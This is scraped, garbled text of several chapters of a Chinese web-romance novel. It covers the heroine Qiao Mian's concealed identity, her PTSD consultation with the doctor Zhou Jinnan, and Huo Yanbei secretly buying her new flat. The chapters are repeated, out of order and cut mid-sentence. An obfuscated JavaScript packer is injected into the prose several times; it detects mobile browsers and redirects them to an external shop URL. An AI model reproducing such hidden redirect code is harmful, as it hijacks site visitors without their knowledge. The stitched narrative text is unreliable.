乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101768|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名 字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 第150章 自爆 有那么一刻,乔眠还以为自己幻听了。 温白扬刚刚唤她……霍妩! 他居然认出她了? 乔眠脸上变得煞白。 目光震惊的盯着镜子里的温白扬。 反观温白扬,颜静疏朗,唇角挂着一丝令人琢摸不透的淡笑。 就像看到一个多年不见的旧友,没有任何敌意。 但也没有过多惊喜和激动。 乔眠更加看不懂他直白戳破她身份的意图。 关键是,他又是怎么知道她就是霍妩的? 六年前,她和温白扬算不上多熟悉。 六年后,更是没有一点交集…… 短暂数秒的对视间,乔眠头脑风暴,忽然想到昨天的亲子报告结果,骤然间恍然。 霍宴北让温白扬帮忙做亲子鉴定,是为了证实她的身份,可是,鉴定结果,反而解除了她的危机。 所以—— “温白扬……” 乔眠四下看了一圈,发现洗手间区域只有两人时,满眼疑惑的看着他,“霍宴北拿到的那份鉴定报告是假的?” 温白扬单手抄袋,斜靠着墙壁,目光慵懒的打量着她,“如果六年前,宴北知道你本就是一个聪明伶俐的女孩,也不是聋哑人的话,说不定会真的娶了你。” 他答非所问,但是这番话已然间接回答了她的问题。 “温白扬,既然被你认出来了,我也没什么可否认的。” 乔眠转过身,靠着洗手台站着直接表明身份:“没错,我就是霍妩。” 尽管他猜到她可能就是霍妩,还以为她会咬死不承认自己的身份,没想到她这么坦荡。 倒是有点出乎温白扬的意料。 是了,她已经不是六年前那个怯懦胆小,总是小心翼翼待在霍宴北身边的小尾巴霍妩了。 她变了太多。 除了那双眼睛以及神态还有几分过去的影子,外形上,完全变成了另外一个人。 说实话,如果不是霍宴北找他做亲子鉴定报告,他根本不会把她和曾经的霍妩联系到一起。 曾经的霍妩,在他们男人眼里,除了长得白,五官生得好看,其他的……平平无奇。 性格温吞沉默,不讨喜。 现在的乔眠,虽然穿着素净,不施粉黛,但是,身材和长相属于顶级美女那一挂。 并不娇艳,却极温婉柔美。 看似性子柔软好拿捏,却极通透伶俐。 早就听顾淮年提过很多次,宴北就着过她的道。 不怪宴北没认出她就是他发疯寻了六年的妹妹霍妩。 无论是外貌,还是性子,完全是迥然不同的两个人…… “我很好奇,温医生是怎么断定我的身份的?” 乔眠的问话传来,打断了温白扬游走的思绪。 男人轻扯了一下唇,“这还得益于顾淮年那货儿,没事总在我面前提你乔大律师,也说了不少你和宴北的事情,前些天宴北让我帮忙做亲子鉴定,我拿到结果后,才断定你就是霍妩。” “结果?” 乔眠困惑的看着他,“所以,霍宴北拿到的那份亲子鉴定报告是假的?” “宴北拿到的那份鉴定报告,确实是鉴定中心出据的报告,真实有效,只是,鉴定前,我把孩子们的头发样本替换了。” 说到这里,他打开手机,调出一张照片,展示给她看,“我拿着原本的头发样本另做了一份鉴定报告,看到结果显示霍宴北就是孩子的生物学上的亲生父亲时,听顾淮年说过,你有孩子,我猜测宴北拿的头发样本,应该就是你的孩子的,既然孩子和他有血缘关系,你的身份不用查,就知道你霍妩。” “孩子跟他有血缘关系,我就一定是霍妩?他提供给你的孩子头发样本,就不能是他养的别的女人的?” 乔眠觉得他推理的有些牵强。 但是,温白扬说了一句话,却让乔眠沉默了。 “这些年,除了宋蔓一直陪着宴北身边,他没有别的女人,况且,我听顾淮年说过,你的孩子看起来也就五岁左右的模样,这么一想,再猜不到你是霍妩的话,我就太蠢了。” “到底是医生,心细就是细腻。” 乔眠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101769|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷不淡的回了一句。 温白扬扯唇,打趣了一句,“不及乔律师厉害,逃离了六年,现在每天待在宴北身边,却没能被他识破身份。” 乔眠不想再扯别的,直入正题,“温医生,你是霍宴北的朋友,不仅在鉴定报告上作假,还瞒骗了他,识破我的身份,又没有第一时间告诉他,我很好奇,你这么做的目的是什么?” 语落,又补充了一句,“你我之前算不上朋友,你不会平白无故帮我的,不是吗?” 温白扬撩起薄薄的眼皮,晦暗莫深的看了她一眼,“我有自己的理由,但是,抱歉,没办法告诉你实情,总之,我想让你知道的是,我对你没有恶意。” 乔眠满眼困惑的盯着他几秒后,见他态度诚恳,确实没有为难她的意思,心中紧绷的那根弦终于松缓了下来。 既然他已经跟她挑明了,那么就不会跟霍宴北说出她的身份。 虽然,不知道他为何帮她,但是,她现在也只能选择相信他。 “谢谢。” 乔眠终结了这个话题,转身,打开水龙头,快速洗了一把脸,整理好仪容后,先一步离开了洗手间。 温白扬望着她渐行渐远的背影,再次想到之前宋蔓警告他的那些话,喃喃说了一句,“霍妩,帮你就是帮我自己,就当是我的赎罪。” …… 乔眠刚走到包厢门口,就看到霍宴北身高腿长的站在门口抽烟。 见她神情恍惚的走过来,男人伸手扣住她的手腕,将人扯到怀里,低头,就在她额头上啄了一口,“怎么这么久?该不是肚子真疼了?” 又提肚子这茬,乔眠想起车里那些旖旎画面,羞嗔的瞪他一眼,“你们几个男人坐在一起聊天,我夹在中间很无聊,就出去洗把脸静一静,霍总,这你也要管?” “他这是占有欲强,乔律师,你可要多顺着点他才行。” 这时,温白扬走了过来,拍了拍他的肩膀,笑着说了一句,“刚才遇到乔律师,我俩还聊了一会儿,这才耽误点时间,怪不到乔律师头上。” 第151章 楼道吻 他居然认出她了? 乔眠脸上变得煞白。 目光震惊的盯着镜子里的温白扬。 反观温白扬,颜静疏朗,唇角挂着一丝令人琢摸不透的淡笑。 就像看到一个多年不见的旧友,没有任何敌意。 但也没有过多惊喜和激动。 乔眠更加看不懂他直白戳破她身份的意图。 关键是,他又是怎么知道她就是霍妩的? 六年前,她和温白扬算不上多熟悉。 六年后,更是没有一点交集…… 短暂数秒的对视间,乔眠头脑风暴,忽然想到昨天的亲子报告结果,骤然间恍然。 霍宴北让温白扬帮忙做亲子鉴定,是为了证实她的身份,可是,鉴定结果,反而解除了她的危机。 所以—— “温白扬……” 乔眠四下看了一圈,发现洗手间区域只有两人时,满眼疑惑的看着他,“霍宴北拿到的那份鉴定报告是假的?” 温白扬单手抄袋,斜靠着墙壁,目光慵懒的打量着她,“如果六年前,宴北知道你本就是一个聪明伶俐的女孩,也不是聋哑人的话,说不定会真的娶了你。” 他答非所问,但是这番话已然间接回答了她的问题。 “温白扬,既然被你认出来了,我也没什么可否认的。” 乔眠转过身,靠着洗手台站着直接表明身份:“没错,我就是霍妩。” 尽管他猜到她可能就是霍妩,还以为她会咬死不承认自己的身份,没想到她这么坦荡。 倒是有点出乎温白扬的意料。 是了,她已经不是六年前那个怯懦胆小,总是小心翼翼待在霍宴北身边的小尾巴霍妩了。 她变了太多。 除了那双眼睛以及神态还有几分过去的影子,外形上,完全变成了另外一个人。 说实话,如果不是霍宴北找他做亲子鉴定报告,他根本不会把她和曾经的霍妩联系到一起。 曾经的霍妩,在他们男人眼里,除了长得白,五官生得好看,其他的……平平无奇。 性格温吞沉默,不讨喜。 现在的乔眠,虽然穿着素净,不施粉黛,但是,身材和长相属于顶级美女那一挂。 并不娇艳,却极温婉柔美。 看似性子柔软好拿捏,却极通透伶俐。 早就听顾淮年提过很多次,宴北就着过她的道。 不怪宴北没认出她就是他发疯寻了六年的妹妹霍妩。 无论是外貌,还是性子,完全是迥然不同的两个人…… “我很好奇,温医生是怎么断定我的身份的?” 乔眠的问话传来,打断了温白扬游走的思绪。 男人轻扯了一下唇,“这还得益于顾淮年那货儿,没事总在我面前提你乔大律师,也说了不少你和宴北的事情,前些天宴北让我帮忙做亲子鉴定,我拿到结果后,才断定你就是霍妩。” “结果?” 乔眠困惑的看着他,“所以,霍宴北拿到的那份亲子鉴定报告是假的?” “宴北拿到的那份鉴定报告,确实是鉴定中心出据的报告,真实有效,只是,鉴定前,我把孩子们的头发样本替换了。” 说到这里,他打开手机,调出一张照片,展示给她看,“我拿着原本的头发样本另做了一份鉴定报告,看到结果显示霍宴北就是孩子的生物学上的亲生父亲时,听顾淮年说过,你有孩子,我猜测宴北拿的头发样本,应该就是你的孩子的,既然孩子和他有血缘关系,你的身份不用查,就知道你霍妩。” “孩子跟他有血缘关系,我就一定是霍妩?他提供给你的孩子头发样本,就不能是他养的别的女人的?” 乔眠觉得他推理的有些牵强。 但是,温白扬说了一句话,却让乔眠沉默了。 “这些年,除了宋蔓一直陪着宴北身边,他没有别的女人,况且,我听顾淮年说过,你的孩子看起来也就五岁左右的模样,这么一想,再猜不到你是霍妩的话,我就太蠢了。” “到底是医生,心细就是细腻。” 乔眠不冷不淡的回了一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这时,温白扬走了过来,拍了拍他的肩膀,笑着说了一句,“刚才遇到乔律师,我俩还聊了一会儿,这才耽误点时间,怪不到乔律师头上。” 第152章 霍宴北算计她搬了新家 “好,我明天没课,陪你一起去看房,如果定下来的话,我正好开车帮你搬家。” 说罢,阮薇合上笔记本电脑,打了一个哈欠,“对了,你现在到底怎么想的?真的和霍宴北在一起了?” 提到这个,乔眠刚高兴起来的心情,又低沉了起来,“六年前,周津南因为我的缘故,被霍宴北对付,他家厂子倒闭,还被威胁,终究是我欠周津南一个人情,现在霍宴北拿同尘律所威胁我,我还能怎么办?” “霍宴北这个男人还真是霸道的厉害。” 阮薇很能共情乔眠的难处,心疼的搂了搂她的肩,“你现在走又走不掉,好在你现在离开了霍氏,回到了原单位工作,不用总被他缠着,等你的合同到期,你就是自由人了。” “嗯,他答应过我,合同到期,不会再为难于我。” “如果到时候,他说话不算数,继续威胁你怎么办?” “……” 乔眠神情渐渐变得凝重,“那就按周津南之前说的办法,走法律程序,即便他再有权势,也拗不过一个法字。” 这个话题太影响心情了,说完,乔眠就切换了话题,关心闺蜜的感情生活来。 “你和萧时处的怎么样了?” “不怎么样!” 提到萧时,阮薇就一肚子火,“我也是才知道,他想结婚,纯粹只是应付家里催婚,我对他而言,就是一个工具人,没有我,他也会寻着新的工具人应付家里催婚,对我……没爱,我要是跟他结婚,婚后不会幸福。” 对萧家,乔眠是有所了解的。 萧家几代单传,萧时是萧家的命根子。 萧家又极注重门第观念。 怕是萧时愿意娶阮薇,他父母未必同意这门婚事。 她曾在宴会上见过萧夫人,那是一个极强势,利益至上的事业型女强人。 阮薇非豪门出身的千金大小姐,未必入得了萧夫人的眼。 她曾在霍家住过几年,见识过名门世家对底层人的势利凉薄。 所以,她从心底,并不看好阮薇和萧时。 毕竟,她和霍宴北的结局就是一个活生生的反面例子。 但这些内心话,她没有跟阮薇说,只是问道,“那你和萧时现在……” “纯粹的床搭子。” 阮薇直言不讳,惊的乔眠无言以对。 两人聊了一会儿,回屋睡觉了。 只是,半夜,被手机铃声吵醒了。 是顾淮年打来的。 她没接。 顾淮年晚上喝了不少酒,这会儿给她打电话,除了发酒疯,没有什么正经事。 况且,想到霍宴北说,顾淮年喜欢她,她更加不想跟他沾上关系。 但不接电话,他执着的一直打。 她觉得吵,静音了。 隔天早上醒来,看到手机屏幕上显示99+个未接电话,乔眠无语的把他拉黑了。 吃完早餐后,把孩子们送去幼儿园后,阮薇带着她去了一趟中介。 房东没来,全权交由中介处理。 实地看完房子后,乔眠很满意。 公寓离荣华近,还在市区中心。 周边临靠商业街,很繁华。 她当天就签了一年的租赁合同。 下午,乔眠回到出租屋开始收拾东西。 阮薇一起帮忙打包行李。 两人一趟又一趟往下搬东西,来来**爬了很多遍七楼才搬完。 后备箱和后车座堆满了大大小小的行李包。 等又一趟趟把行李折腾到公寓后,已经是晚上了。 累了一天,接完孩子们后,直接在外面吃了一顿大餐。 回到公寓后,已经快九点了。 来不及收拾行李,只把生活用品整理了出来。 孩子们入住新家,一个个兴奋的厉害。 尤其是,对儿童房欢喜的很。 今天,她之所以这么痛快签约,最满意的就是这间儿童房。 有一张很大高低床。 床侧还有一道滑梯。 这房子的主人应该没怎么用过这间儿童房,因为所有家具和陈设都是新的。 连孩子们的学习桌都有。 还有许多玩具。 “妈妈,我好喜欢这套房子哦。” 乔慕心抱着一个粉红兔子,扑过来抱住她的腿,仰脸看着她,“妈妈,我们以后真的可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104996|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以住在这里吗?” 乔慕野和乔慕城摆弄着一个汽车模型,听到妹妹的问话,转过头,一脸期待的看着她。 好像唯恐这一切很快就会消失似的。 说起来,这套房子,是她这些年以来,租到的环境最好的房子。 孩子们喜欢,她自然高兴。 忙安抚他们,“当然,我们以后就住在这里了。” “好耶!” 乔慕心兴奋的跳了起来,指着高低床说,“妈妈,我要睡在上铺,这样每次下床时,可以玩滑梯哦。” 乔眠揉揉她的小脑袋,询问乔慕城和乔慕野的意见。 好在他们很懂事,一向宠着妹妹,没跟乔慕心抢。 “你们三个玩一会儿就洗澡睡觉哦。” “好。” 从儿童房间出来后,她去卫浴间洗了一个澡,回到自己的卧室。 望着崭新的大床,质感高级的衣柜,以及配置全套的书架和办公桌,乔眠觉得心理上很满足。 甚至有一种不真实感。 因为累了一天,不到十点,倒床就睡着了。 与此同时。 公寓楼下。 霍宴北身姿修长的斜靠在劳斯莱斯,一只手抄袋,另一只大手垂在一侧。 修长的指间夹着一根点燃的香烟。 夜幕下,他抬眸,看到六楼的灯灭时,弹了弹烟灰,送到嘴边深吸了一口后,将烟碾灭,丢进一旁的垃圾桶后,打开车门上了车。 “事情办的不错。” 被老板夸,陈珂嘻嘻的挠了挠后脑勺,“霍总,您不仅买了这套公寓,专门布置了一间儿童房,还购置了新的家具,如果以后乔律师知道您做的这些,一定会感动的。” “还是别让她知道的好。” 男人叮嘱。 “是。” 陈珂颔首,然后就听到霍总新的任务安排,“把她家对门那套房子买下来。” “啊?” 陈珂惊讶,“您要搬进去?” “不可以?” “不是……” 陈珂提醒,“您现在和宋蔓小姐对外还是名义上的夫妻,现在搬出别墅,怕是被媒体各种解读揣测。” 第153章 真相初入端倪 “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113439|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 第154章 他一点都不了解阿妩 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 